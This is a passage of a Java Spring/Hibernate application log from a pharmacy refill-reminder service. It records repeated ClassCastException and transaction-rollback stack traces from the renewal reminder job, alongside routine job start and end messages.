org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 05:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 05:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 05:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 05:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 05:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 05:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 05:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 05:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 05:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 05:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 06:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 06:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 06:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 06:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 06:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 06:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 06:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 06:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 06:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 06:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at 